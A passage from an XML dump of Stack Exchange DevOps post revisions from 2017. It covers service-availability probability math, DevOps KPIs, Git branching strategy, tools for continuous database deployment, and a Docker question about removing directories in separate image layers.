product of the first probability: `0.9995 * 0.9995 = 0,99900025`.&#xD;&#xA;&#xD;&#xA;Applied to your 1h/24h outage (4,166666% of a day)  this gives (decimals are abbreviated):&#xD;&#xA;&#xD;&#xA;    0.0416 + 0.0416 - (0.0416 * 0.0416) = 0,081597222&#xD;&#xA;&#xD;&#xA;So the probability of being OK is `1 - 0.0816 = 0.9184` in percent: `91,84%`&#xD;&#xA;&#xD;&#xA;    24 * 0.0816 = 1.95 h&#xD;&#xA;&#xD;&#xA;This is less than the worst case of 2 hours because there's a chance both are down at the same time.&#xD;&#xA;&#xD;&#xA;Keeping that in mind, you may notice the availability for each is `95,84%` and `0,958333333 * 0,958333333 = 0,918402778` which is our `91.84%` from above (sorry for the full decimals here, but they are needed for the demonstration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now for your second case, we'll start gain from our compound probability for each region (Sorry I dismissed the change for SQL to keep it reasonable), assuming there's no independent probability for the region itself and that each region is isolated and as such a DB failure take only its region down.&#xD;&#xA;&#xD;&#xA;We have the traffic manager OK probability `P(T) = 0.9999` and each app+DB couple with a OK probability `P(G) = 0,99900025` from &#xD;&#xA;&#xD;&#xA;How much region we have play a role as we have to apply the product of failure probability only to get the probability both region are down as the same time:  &#xD;&#xA;`0,00099975 * 0,00099975 = 0,0000009995000625` which means an overall availability of at least one region of `99,049375 %` &#xD;&#xA;&#xD;&#xA;Now we have the overall regions availability, the product with the traffic manager one give us the overall availability of the system:&#xD;&#xA;&#xD;&#xA;    0.9999 * 0,9999990004999375 = 0,99989900059988750625&#xD;&#xA;&#xD;&#xA;The overall availability is `99.989900 %` &#xD;&#xA; &#xD;&#xA;[1]: https://en.wikipedia.org/wiki/Probability#Mathematical_treatment" ContentLicense="CC BY-SA 3.0" />
  <row Id="2360" PostHistoryTypeId="5" PostId="724" RevisionGUID="31b56506-7490-4393-937b-244e8b27f637" CreationDate="2017-03-31T08:59:07.327" UserId="14" Comment="added 260 characters in body" Text="For questions about DevOps 'culture' and how it can be used to improve organisations, policies and workflows. Use this tag for questions about how an organisational culture can be changed through DevOps, or about the culture that many DevOps advocates suggest." ContentLicense="CC BY-SA 3.0" />
  <row Id="2361" PostHistoryTypeId="24" PostId="724" RevisionGUID="31b56506-7490-4393-937b-244e8b27f637" CreationDate="2017-03-31T08:59:07.327" Comment="Proposed by 14 approved by 40, 13 edit id of 204" ContentLicense="CC BY-SA 3.0" />
  <row Id="2362" PostHistoryTypeId="2" PostId="738" RevisionGUID="b2e6aecb-26b6-4f47-b81f-0e9a97d50bfb" CreationDate="2017-03-31T13:00:35.180" UserId="397" Text="I am trying to drive good behaviors within a DevOps transformation programme, to support this I am looking at identifying actionable metrics around the operations disciplines:&#xD;&#xA;&#xD;&#xA; - Problem and Incident Management&#xD;&#xA; - Capacity Management&#xD;&#xA; - Change and Release Management&#xD;&#xA;&#xD;&#xA;To be absolutely clear, these are functions that used to belong to the operations organization and are now owned by the Agile/DevOps organization.  There are existing KPIs that drive bad behaviors are:&#xD;&#xA;&#xD;&#xA; - Time to Root Cause Analysis completed:&#xD;&#xA;   - *Drives incomplete RCAs just to get them into the system on time.*&#xD;&#xA; - Test execution duration:&#xD;&#xA;   - *Disables long running tests, regardless of their business value.*&#xD;&#xA; - Average utilization of cloud services:&#xD;&#xA;   - *Encourages over-commitment of compute resources, resulting in slow response times*&#xD;&#xA;&#xD;&#xA;**What Key Performance Indicators can be used to encourage good behaviour in a DevOps Programme?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="2363" PostHistoryTypeId="1" PostId="738" RevisionGUID="b2e6aecb-26b6-4f47-b81f-0e9a97d50bfb" CreationDate="2017-03-31T13:00:35.180" UserId="397" Text="What Key Performance Indicators (KPIs) are used to measure DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2364" PostHistoryTypeId="3" PostId="738" RevisionGUID="b2e6aecb-26b6-4f47-b81f-0e9a97d50bfb" CreationDate="2017-03-31T13:00:35.180" UserId="397" Text="&lt;culture&gt;&lt;kpi&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2365" PostHistoryTypeId="6" PostId="690" RevisionGUID="72af8672-b818-4461-bdfa-98807d0e8705" CreationDate="2017-03-31T13:19:09.907" UserId="40" Comment="edited tags" Text="&lt;deployment&gt;&lt;configuration&gt;&lt;configuration-management&gt;&lt;software-recommendation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2366" PostHistoryTypeId="6" PostId="273" RevisionGUID="169fd831-2781-4fcc-a229-3aaa3206f69a" CreationDate="2017-03-31T13:23:23.823" UserId="40" Comment="edited tags" Text="&lt;scm&gt;&lt;mainframe&gt;&lt;software-recommendation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2367" PostHistoryTypeId="6" PostId="738" RevisionGUID="e9d27cda-71e1-4bc1-a850-da0896151224" CreationDate="2017-03-31T13:26:01.380" UserId="184" Comment="Maybe metrics is a better tag than a too specific &quot;kpi&quot; tag?" Text="&lt;culture&gt;&lt;metrics&gt;&lt;kpi&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2368" PostHistoryTypeId="24" PostId="738" RevisionGUID="e9d27cda-71e1-4bc1-a850-da0896151224" CreationDate="2017-03-31T13:26:01.380" Comment="Proposed by 184 approved by 40, 13 edit id of 208" ContentLicense="CC BY-SA 3.0" />
  <row Id="2369" PostHistoryTypeId="2" PostId="739" RevisionGUID="bcd068a0-ca17-4757-a998-3cf33022a1d7" CreationDate="2017-03-31T14:35:13.213" UserId="72" Text="I don't think there are any &quot;universal&quot; DevOps KPIs.  For example, velocity is great, unless it's not a key driver for your business.  Amazon cares a lot about velocity because they have a massive retail operation.  That's less important for a small app with 100 users.&#xD;&#xA;&#xD;&#xA;This begs the question: how do *you* select the best KPIs relevant to *your* business?  That's a research and discovery process that involves your entire Enterprise.&#xD;&#xA;&#xD;&#xA;What do you care about?&#xD;&#xA;&#xD;&#xA;-  Quality&#xD;&#xA;-  Reliability&#xD;&#xA;-  Maintainability&#xD;&#xA;-  Velocity&#xD;&#xA;-  Process Improvement&#xD;&#xA;-  Service Levels&#xD;&#xA;&#xD;&#xA;What keeps your business stakeholders up at night?  What determines whether you make money this quarter or not?  The list above might include some of those things, or it might not.  Make your list, then figure out how to align incentives *across every department* to achieve them.  &#xD;&#xA;&#xD;&#xA;Incentives drive behavior, so decide collaboratively on SMART goals.  Pick two or three items off your brainstormed list, and start a measure/fix feedback cycle for each.  Don't pick too many at once- you're more likely to succeed by focusing hard on two or three things." ContentLicense="CC BY-SA 3.0" />
  <row Id="2371" PostHistoryTypeId="2" PostId="740" RevisionGUID="f19f87ff-d0bf-40f7-9e09-b5c02a6e8c61" CreationDate="2017-03-31T15:51:14.893" UserId="210" Text="It works to remove a directory when the remove command is defined in the same layer as the creation of the folder:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Successfully built c283805e687f&#xD;&#xA;&#xD;&#xA;When the aim is to remove the directory in another layer, either this:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;or this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -rf dir&#xD;&#xA;&#xD;&#xA;results:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/4 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/4 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Running in bd033cca581f&#xD;&#xA;    Connecting to google.com (&lt;IP&gt;:80)&#xD;&#xA;    Connecting to www.google.nl (&lt;IP&gt;:80)&#xD;&#xA;    index.html           100% |*******************************| 10951   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Removing intermediate container bd033cca581f&#xD;&#xA;    Step 3/4 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;     ---&gt; Running in ab8c3dca1de8&#xD;&#xA;    mkdir: can't create directory 'dir': File exists&#xD;&#xA;    The command '/bin/sh -c mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com' returned&#xD;&#xA;    a non-zero code: 1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2372" PostHistoryTypeId="1" PostId="740" RevisionGUID="f19f87ff-d0bf-40f7-9e09-b5c02a6e8c61" CreationDate="2017-03-31T15:51:14.893" UserId="210" Text="How to remove directories and files in another layer using Docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2373" PostHistoryTypeId="3" PostId="740" RevisionGUID="f19f87ff-d0bf-40f7-9e09-b5c02a6e8c61" CreationDate="2017-03-31T15:51:14.893" UserId="210" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2374" PostHistoryTypeId="2" PostId="741" RevisionGUID="3a354d20-e0fe-476a-a349-327ed093411c" CreationDate="2017-03-31T18:42:21.520" UserId="47" Text="IMHO the problems you're facing are just a side effect of the poor branch strategy you started with: you're effectively plowing new development on `develop` (i.e. what converges towards the *future* production code) **through** the *current* production code on `master`. This leads to contradicting requirements and problems since typicaly the future code diverges from the current one:&#xD;&#xA;&#xD;&#xA;- the new development destabilizes production - regressions seen after merging `develop` into `master`&#xD;&#xA;- stabilizing the production slows down future development - you need to stabilize `develop` to make it good enough for merging into `master`&#xD;&#xA;&#xD;&#xA;Dropping `develop` won't help (much) - you're not eliminating the problem, you're just transferring the `develop`-specific portion of the problem into `master`.&#xD;&#xA;&#xD;&#xA;A better approach would be to move the production **behind** the current/future development, to prevent interference with development for future releases, as illustrated in this image from [What is Your Branching Model?][1]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Please note that I'm only referring to the release branches in the above image, not on what's happening in the trunk.&#xD;&#xA;&#xD;&#xA;How would this work for you:&#xD;&#xA;&#xD;&#xA;- the `develop` branch dissapears, as you wished, absorbed into `master`&#xD;&#xA;- the `master` branch is your trunk, this is where development happens with no speed restrictions (it's **never** merged into production).&#xD;&#xA;- production is/are one or more `release` branches pulled from a `master` label/tag considered close enough to production quality (a short list of remaining todo items can be addressed in that branch if needed). These branches can only receive direct hot-fixes and/or cherry-picked fixes from `master`, they are **never** merged with `master` or other branches&#xD;&#xA;- hotfixes are direct commits into `release` branches&#xD;&#xA;&#xD;&#xA;If a hotfix applies only to a production version but not to the `master` it is directly committed to the `release` branch. If it applies to both it's typically committed to `master` first and cherry-picked/double-committed to the `release` branch as well.&#xD;&#xA;&#xD;&#xA;Now looking at what goes into `master` (which is past the point where the current `release` branch is pulled off), you have 2 options:&#xD;&#xA;&#xD;&#xA;- continue with feature branches just like you do today, except they'll be based off `master`, not `develop`. Converting them to hot fixes remains possible - you'd just have to rebase them to the corresponding `release` branch instead of `master`&#xD;&#xA;- switch to continuous integration and reap its benefits (can be done at any time going forward), including in a progressive manner - gradually pull fewer and fewer feature branches.&#xD;&#xA;&#xD;&#xA;  [1]: http://paulhammant.com/2013/12/04/what_is_your_branching_model/&#xD;&#xA;  [2]: https://i.stack.imgur.com/7g9rx.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2375" PostHistoryTypeId="5" PostId="741" RevisionGUID="4c6235f0-d4be-4b5c-b7f7-579dfb8abe17" CreationDate="2017-03-31T18:57:53.343" UserId="47" Comment="added clarification" Text="IMHO the problems you're facing are just a side effect of the poor branch strategy you started with: you're effectively plowing new development on `develop` (i.e. what converges towards the *future* production code) **through** the *current* production code on `master`. This leads to contradicting requirements and problems since typicaly the future code diverges from the current one:&#xD;&#xA;&#xD;&#xA;- the new development destabilizes production - regressions seen after merging `develop` into `master`&#xD;&#xA;- stabilizing the production slows down future development - you need to stabilize `develop` to make it good enough for merging into `master`&#xD;&#xA;&#xD;&#xA;Dropping `develop` won't help (much) - you're not eliminating the problem, you're just transferring the `develop`-specific portion of the problem into `master`.&#xD;&#xA;&#xD;&#xA;A better approach would be to move the production **behind** the current/future development, to prevent interference with development for future releases, as illustrated in this image from [What is Your Branching Model?][1]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Please note that I'm only referring to the release branches in the above image, not on what's happening in the trunk.&#xD;&#xA;&#xD;&#xA;How would this work for you:&#xD;&#xA;&#xD;&#xA;- the `develop` branch dissapears, as you wished, absorbed into `master`&#xD;&#xA;- the `master` branch is your trunk, this is where development happens with no speed restrictions (it's **never** merged into production).&#xD;&#xA;- production is/are one or more `release` branches pulled from a `master` label/tag considered close enough to production quality (a short list of remaining todo items can be addressed in that branch if needed). These branches can only receive direct hot-fixes and/or cherry-picked fixes from `master`, they are **never** merged with `master` or other branches&#xD;&#xA;- hotfixes are direct commits into `release` branches&#xD;&#xA;&#xD;&#xA;If a hotfix applies only to a production version but not to the `master` it is directly committed to the `release` branch. If it applies to both it's typically committed to `master` first and cherry-picked/double-committed to the `release` branch as well.&#xD;&#xA;&#xD;&#xA;Now looking at what goes into `master` (which is past the point where the current `release` branch is pulled off), you have 2 options:&#xD;&#xA;&#xD;&#xA;- continue with feature branches just like you do today, except they'll be based off `master`, not `develop`. Converting them to hot fixes remains possible - you'd just have to rebase them to the corresponding `release` branch instead of `master`&#xD;&#xA;- switch to continuous integration and reap its benefits (can be done at any time going forward), including in a progressive manner - gradually pull fewer and fewer feature branches.&#xD;&#xA;&#xD;&#xA;If you like this approach here's how you get there from where you are today:&#xD;&#xA;&#xD;&#xA;- establish a release naming strategy:&#xD;&#xA;  - you can't have an ongoing release branch with the same name&#xD;&#xA;  - you can't (shouldn't actually) rebase or sync a production release branch&#xD;&#xA;- pull a `releaseX` branch from `master` immediately, following that naming strategy&#xD;&#xA;- stop commits from going into `develop`, they'll be soon going straight to `master`.&#xD;&#xA;- merge `develop` into `master`&#xD;&#xA;- instruct developers to rebase their workspaces on `master` instead of `develop`.&#xD;&#xA;- open `master` for commits&#xD;&#xA;- delete `develop` if you desire (or leave it permanently locked/read-only for reference)&#xD;&#xA;&#xD;&#xA;  [1]: http://paulhammant.com/2013/12/04/what_is_your_branching_model/&#xD;&#xA;  [2]: https://i.stack.imgur.com/7g9rx.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2376" PostHistoryTypeId="2" PostId="742" RevisionGUID="294f1c7f-383d-4cfe-80c2-a524b0a28093" CreationDate="2017-03-31T20:14:44.203" UserId="397" Text="Continuous Delivery or Continuous Deployment of infrastructure and code is comparatively simple compared to trying the same approaches for databases, specifically RDBMSs.  Code and infrastructure will not change or evolve once deployment has completed.  Databases, however, will have new data added to them making the data if not the schema inherently mutable components.&#xD;&#xA;&#xD;&#xA;I am aware that there are practices such as only adding database objects, i.e. tables and columns, never modifying or removing them - this purely additive way of approaching database schemas has the advantage of ensuring that schemas are backwards compatible at the cost of successively more complicated schemas.&#xD;&#xA;&#xD;&#xA;Equally there are products such as [Flyway][1] and [Ready Roll][2] which assist in writing migrations to be written between versions of a schema.&#xD;&#xA;&#xD;&#xA;What other practices and tools exist currently to allow for continuous deployment of database schemas into a production environment where data integrity is of a concern.&#xD;&#xA;&#xD;&#xA;  [1]: https://flywaydb.org/&#xD;&#xA;  [2]: http://www.red-gate.com/products/sql-development/readyroll/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2377" PostHistoryTypeId="1" PostId="742" RevisionGUID="294f1c7f-383d-4cfe-80c2-a524b0a28093" CreationDate="2017-03-31T20:14:44.203" UserId="397" Text="What practices or tools enable Continuous Deployment of Databases" ContentLicense="CC BY-SA 3.0" />
  <row Id="2378" PostHistoryTypeId="3" PostId="742" RevisionGUID="294f1c7f-383d-4cfe-80c2-a524b0a28093" CreationDate="2017-03-31T20:14:44.203" UserId="397" Text="&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2381" PostHistoryTypeId="2" PostId="743" RevisionGUID="7a7e57b8-7444-4c1d-ab9c-eab0eeda3a0c" CreationDate="2017-04-01T22:28:50.363" UserId="953" Text="We use Flyway at work for managing Postgres schemas in the app, and Pillar for managing Cassandra schemas. We have found it best if the app manages its own schema. &#xD;&#xA;&#xD;&#xA;We had a horrible experience having Ansible manage schemas before the apps managed their own schemas." ContentLicense="CC BY-SA 3.0" />
  <row Id="2382" PostHistoryTypeId="5" PostId="697" RevisionGUID="4cefd741-64fc-4677-a31f-5f39a7a57ef7" CreationDate="2017-04-01T23:00:58.617" UserId="47" Comment="fixed grammar" Text="Any business initiative would get a traction if you show its relevance to either topline or bottomline of the organization.&#xD;&#xA;&#xD;&#xA;Internal initiatives such as devops can only affect the bottomline. You need to identify the costs of recurring work performed by the individiuals and how automation would reduce that expenditure. &#xD;&#xA;&#xD;&#xA;Even though non-techy managers may not understand the difference between choosing chef over puppet, they have some understanding of Industry trends. You can make them aware of the costs of delays due to builds not being available, costs of regression issues and how your approach can reduce those costs. If you can show tangible plan for improvement in bottomline, and if it is better than the other action items on their plate, you would get a go-ahead.   " ContentLicense="CC BY-SA 3.0" />
  <row Id="2383" PostHistoryTypeId="2" PostId="744" RevisionGUID="5e34d255-14de-4f06-9308-983b9a5d7d0e" CreationDate="2017-04-01T23:09:33.623" UserId="959" Text="Pramod Sadalage and Scott Ambler wrote a book [Refactoring Databases: Evolutionary Database Design](https://www.amazon.com/Refactoring-Databases-Evolutionary-paperback-Addison-Wesley/dp/0321774515) that is an incredibly solid primer to the subject of DBs in a CD org/team.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2384" PostHistoryTypeId="2" PostId="745" RevisionGUID="12f513fa-827c-429b-b131-932ba1c181de" CreationDate="2017-04-01T23:13:04.663" UserId="959" Text="Well @dan-cornilescu says it well for your particular problem, but the more general case for Trunk-Based Development (mentioned in the Continuous Delivery, Lean Enterprise, and The DevOps Handbook) is made here: https://trunkbaseddevelopment.com/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2385" PostHistoryTypeId="2" PostId="746" RevisionGUID="6f9342fa-8c5e-47a3-ae6e-ba6d0e56e68e" CreationDate="2017-04-01T23:20:06.487" UserId="959" Text="Possibly a different repo?  One with branches for QA, UAT, Prod (of nor more).  A repo that's different to your regular &quot;Code as Code&quot; and &quot;Infrastructure as Code&quot; repos. &#xD;&#xA;&#xD;&#xA;It is highly nuanced. How much config per env. Is it toggled between releases? Should those toggle states maintain state despite binary deploys. Which of client, customer, guest or user to you maintain config for?&#xD;&#xA;&#xD;&#xA;I wrote a bunch of [blog entries](http://paulhammant.com/categories.html#Configuration_as_Code) (and prototypes/demos) on the topic over 5 years - including UIs for the toggling (if you need them)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2386" PostHistoryTypeId="2" PostId="747" RevisionGUID="66defdbc-5e18-4196-8dba-f9a008869678" CreationDate="2017-04-02T00:51:01.193" UserId="968" Text="We use [liquibase](http://www.liquibase.org/) at our work and I'll speak highly for it.  It's also used by our QA tool [QASymphony](https://www.qasymphony.com/).&#xD;&#xA;&#xD;&#xA;We're utilizing it against MSSQL and Oracle databases internally and QASymphony uses/has used it with both postgres + mysql instances." ContentLicense="CC BY-SA 3.0" />
  <row Id="2387" PostHistoryTypeId="2" PostId="748" RevisionGUID="d2c6c1a7-67d6-467e-88fc-4c0d2e781cda" CreationDate="2017-04-02T04:01:12.017" UserId="960" Text="`mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir` doesn't do what you think it does.&#xD;&#xA;&#xD;&#xA;Let's break it down:&#xD;&#xA;&#xD;&#xA;1. `mkdir dir` creates `dir`.&#xD;&#xA;1. `cd dir` changes directory into it.&#xD;&#xA;1. `wget http://google.com` downloads google.com inside `dir/`.&#xD;&#xA;1. `rm -rf dir` attempts to delete a directory called `dir` that's in the current directory.&#xD;&#xA;&#xD;&#xA;The problem is that there is not `dir` in the current directory, because you're already `cd`ed into it.  And since you've added the `-f` flag, the command doesn't produce an error.  This is one of the reasons why you shouldn't use force flags without being very sure you need them.&#xD;&#xA;&#xD;&#xA;Since you didn't use the `WORKDIR` command, the directory change [is discarded at the end of the `RUN`](http://stackoverflow.com/q/17891981/120999).  Thus, the next line executes in the original working directory, where it tries to `mkdir dir` but, as we've previously discussed, that directory still exists with the wgetted contents inside it." ContentLicense="CC BY-SA 3.0" />
  <row Id="2388" PostHistoryTypeId="2" PostId="749" RevisionGUID="8808d76e-e04a-4649-8915-fc8a10b9c746" CreationDate="2017-04-02T04:35:24.933" UserId="960" Text="None of the issues you present appear to be DevOps-specific to me.&#xD;&#xA;&#xD;&#xA;&gt; Some of the pitfalls organisations are trying to avoid are:&#xD;&#xA;&#xD;&#xA;&gt; * Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xD;&#xA;&#xD;&#xA;This is a problem any company with multiple development teams, or multiple teams of any sort that share a common functionality, will face.  The simplest answer is to move them all onto a shared cycle.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; * Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xD;&#xA;&#xD;&#xA;Again, not a problem specific to DevOps.  As with developer teams, you need to increase visibility into other teams and introduce standards to keep people in sync.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; * Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xD;&#xA;&#xD;&#xA;Once again, not DevOps-specific, but a classic problem of business that comes from far before electronic computers.  Reduce dependencies and make it clear when they happen that they are happening, and the effects of slippage, and keep all affected parties informed of schedule changes." ContentLicense="CC BY-SA 3.0" />
  <row Id="2389" PostHistoryTypeId="5" PostId="743" RevisionGUID="0ebce6b5-385c-4a06-860a-3c5e0e33603c" CreationDate="2017-04-02T04:39:50.403" UserId="47" Comment="added reference link" Text="We use [Flyway][1] at work for managing Postgres schemas in the app, and [Pillar][2] for managing Cassandra schemas. We have found it best if the app manages its own schema. &#xD;&#xA;&#xD;&#xA;We had a horrible experience having [tag:ansible] manage schemas before the apps managed their own schemas.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://flywaydb.org/&#xD;&#xA;  [2]: https://github.com/comeara/pillar" ContentLicense="CC BY-SA 3.0" />
  <row Id="2391" PostHistoryTypeId="5" PostId="712" RevisionGUID="0842125d-b7dd-412c-9ddf-249588bafcab" CreationDate="2017-04-02T05:36:05.920" UserId="960" Comment="light copy-editing" Text="One of my agile teams has taken an interesting approach in the early stages of their project.  Instead of starting the project with a Sprint 0 where they setup code infrastructure and decide on the solution architecture, they have started building a &quot;Walking Skeleton&quot;, which they describe as a DevOps practice.&#xD;&#xA;&#xD;&#xA;What this seems to come down to is building something very small (in the case of an API a single endpoint that just returns `200-OK`), getting this working in continuous integration, and building out the continuous delivery pipeline to deploy this through each of the environments:&#xD;&#xA;&#xD;&#xA;&gt; Development ► Test ► UAT ► Pre-production ► Production&#xD;&#xA;&#xD;&#xA;In the process they have managed to tick off many of the non-functional requirements that could have been missed if deployments were left to the last minute.&#xD;&#xA;&#xD;&#xA;My question is this: what is a &quot;Walking Skeleton&quot; and what benefit does it provide to a Agile team following DevOps practices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2392" PostHistoryTypeId="24" PostId="712" RevisionGUID="0842125d-b7dd-412c-9ddf-249588bafcab" CreationDate="2017-04-02T05:36:05.920" Comment="Proposed by 960 approved by 47, 40 edit id of 209" ContentLicense="CC BY-SA 3.0" />
  <row Id="2393" PostHistoryTypeId="2" PostId="750" RevisionGUID="1ff8aefc-5764-4b55-a3fa-2a08581feb1c" CreationDate="2017-04-02T07:42:25.320" UserId="1001" Text="I would say 'Yes' in the context of 'Security as Code', e.g.:&#xD;&#xA;&#xD;&#xA;As the author stated, if I have continuous delivery that means I have continuous integration, which implies I can easily integrate and propagate change throughout the system, and likely this is due to prescriptive code-based configuration.&#xD;&#xA;&#xD;&#xA;This alone could be a form of control as you can hopefully easily propagate compliance related changes across your infrastructure&#xD;&#xA;&#xD;&#xA;However, I think configuration management exemplifies compliance controls in a devops lifecycle. Look at Chef\DSC and InSpec\ServerSpec. You can run configuration management during the bake phase to set initial configuration and then run it on a schedule after deployment as a form of compliance to eliminate drift. InSpec\ServerSpec tools sit outside that CM and 'audit' the state of the systems to ensure the CM is doing its job." ContentLicense="CC BY-SA 3.0" />
  <row Id="2394" PostHistoryTypeId="2" PostId="751" RevisionGUID="956f27c5-8b87-40c2-8fde-301a8d9e677e" CreationDate="2017-04-02T08:00:41.627" UserId="1001" Text="&gt;Inability to report progress consistently across multiple development teams, for example, if one team reports their progress in terms of the number of equally sized stories completed in 2 weeks; whereas another team reports in storypoints completed in a three-week sprint.&#xD;&#xA;&#xD;&#xA;&gt;Inconsistent application of a practice means team members can not easily move between teams within the same organisation without learning new ways of working.&#xD;&#xA;&#xD;&#xA;I view this as both a failure to standardize process across teams and a management problem if people aren't sticking to process. Individual teams should be flexible in terms of how they manage their people, but processes should be transparent and followed.&#xD;&#xA;&#xD;&#xA;Imagine a fast-food chain restaurant. Each restaurant may re-organize things a bit according to the architecture of their specific location, to best suit their needs. However, the general components and the ingredients and the intended SLAs for delivery will be the same. An employee should be easily able to transfer between any location with some minor re-orientation.&#xD;&#xA;&#xD;&#xA;Challenges faced by each 'location' means you may need to regularly re-visit the overall strategy, and you should be 'trying things out' in various teams and regularly rolling those changes back into the overall process. Process is just like software delivery, too.&#xD;&#xA;&#xD;&#xA;&gt;Mismatches in development cadence across multiple teams makes coordinating dependent releases difficult.&#xD;&#xA;&#xD;&#xA;Again, need authoritative control and agreement between teams... a corporate brand with many locations, not a food court of different franchises.&#xD;&#xA;&#xD;&#xA;Etsy has their famous example of 'schema change thursday', where they allow non-contract-breaking-changes to be deployed as often as needed, but anything that will require coordinated change between systems happens on a specific day every week." ContentLicense="CC BY-SA 3.0" />
  <row Id="2395" PostHistoryTypeId="2" PostId="752" RevisionGUID="68f1c836-f8fa-4738-9ed7-0fcd96ecd18d" CreationDate="2017-04-02T12:05:09.400" UserId="1016" Text="You could have a test set up that does not run production, and load different files for those. &#xA;&#xA;Create a host_vars/localhost/vault that only works for the local test installation. &#xA;&#xA;That way you could use a open vault password that works only for that local host vault. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2396" PostHistoryTypeId="5" PostId="740" RevisionGUID="effa77b4-3db5-4484-b032-3d9d2dcfb8e6" CreationDate="2017-04-02T12:40:07.870" UserId="210" Comment="added 885 characters in body" Text="It works to remove a directory when the remove command is defined in the same layer as the creation of the folder:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Successfully built c283805e687f&#xD;&#xA;&#xD;&#xA;When the aim is to remove the directory in another layer, either this:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;or this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -rf dir&#xD;&#xA;&#xD;&#xA;another attempt was using workdir&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir&#xD;&#xA;    WORKDIR dir&#xD;&#xA;    RUN wget http://google.com&#xD;&#xA;    WORKDIR /&#xD;&#xA;    RUN ls&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;building the image resulted in:&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/7 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/7 : RUN mkdir dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; aed5c75218cb&#xD;&#xA;    Step 3/7 : WORKDIR dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     